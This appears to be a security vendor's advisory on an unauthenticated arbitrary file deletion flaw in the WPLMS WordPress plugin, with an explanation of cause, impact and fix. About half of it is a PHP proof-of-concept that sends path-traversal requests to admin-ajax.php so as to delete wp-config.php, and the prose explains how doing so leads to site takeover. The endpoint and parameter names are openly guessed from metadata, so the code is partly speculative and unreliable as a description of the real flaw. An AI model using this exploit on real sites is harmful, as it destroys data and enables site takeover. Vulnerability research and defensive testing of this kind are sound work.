Atomic Edge analysis of CVE-2025-69097 (metadata-based):
This vulnerability is an unauthenticated arbitrary file deletion flaw in the WPLMS WordPress plugin, affecting all versions up to and including 1.9.9.5.4. The vulnerability stems from insufficient path validation in a plugin component, allowing attackers to delete any file on the server. The CVSS 3.1 score of 9.1 (Critical) reflects the high impact of this flaw, which can lead to complete site compromise.
Atomic Edge research infers the root cause is a path traversal vulnerability (CWE-22) in a file deletion function. The plugin likely accepts user-controlled input for a file path parameter without properly validating it against the intended directory. This allows directory traversal sequences like `../../` to escape the intended folder. The description confirms insufficient file path validation, but the exact vulnerable endpoint is inferred from common WordPress plugin patterns.
Exploitation likely involves sending a crafted HTTP request to a WordPress AJAX handler or a specific plugin endpoint. An attacker would target `/wp-admin/admin-ajax.php` or a direct plugin file, supplying a malicious `file` or `path` parameter containing traversal sequences. A payload like `../../../wp-config.php` would target the critical WordPress configuration file. No authentication or nonce is required, making the attack trivial to execute.
Remediation requires implementing proper path validation and sanitization. The plugin must validate user-supplied file paths, ensuring they reside within an allowed directory. This involves resolving the full path and checking it starts with the intended base directory using `realpath()` and string comparison. The fix should also add capability checks to restrict file deletion to authorized users only.
Successful exploitation leads to arbitrary file deletion, causing denial of service and site malfunction. Deleting `wp-config.php` forces WordPress into setup mode, often allowing an attacker to regain control with new database credentials. Deleting other critical files like `.htaccess` or plugin files can disable security controls or create conditions for remote code execution, such as by removing file upload restrictions.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69097 - WPLMS <= 1.9.9.5.4 - Unauthenticated Arbitrary File Deletion
<?php
/**
* Proof-of-Concept for CVE-2025-69097.
* This script attempts to exploit an unauthenticated arbitrary file deletion vulnerability
* in the WPLMS WordPress plugin (<= 1.9.9.5.4).
*
* ASSUMPTIONS (based on CWE-22 and WordPress patterns):
* 1. The vulnerability exists in an AJAX handler or REST endpoint.
* 2. The endpoint accepts a parameter like 'file', 'path', or 'attachment' containing the target file.
* 3. No authentication or nonce is required.
* 4. The plugin slug 'wplms_plugin' maps to an AJAX action prefix.
*/
$target_url = 'http://target-site.com'; // CHANGE THIS
// Common WordPress AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Infer possible vulnerable AJAX action names based on plugin slug.
// The action parameter for unauthenticated hooks often uses 'wp_ajax_nopriv_' prefix.
$possible_actions = [
'wplms_plugin_delete_file',
'wplms_delete_attachment',
'wplms_remove_file',
'wplms_plugin_ajax_handler'
];
// File to target for deletion. wp-config.php is the highest impact target.
$target_file = '../../../wp-config.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
foreach ($possible_actions as $action) {
echo "[*] Testing AJAX action: {$action}n";
$post_data = [
'action' => $action,
'file' => $target_file, // Primary assumed parameter
'path' => $target_file, // Alternative parameter
'attachment' => $target_file // Another alternative
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo " HTTP Code: {$http_code}n";
if (strpos($response, 'error') === false && $http_code == 200) {
echo " [POSSIBLE SUCCESS] Received 200 OK. Verify if {$target_file} was deleted.n";
}
echo "n";
}
curl_close($ch);
echo "[!] PoC complete. Manual verification of file deletion is required.n";
?>
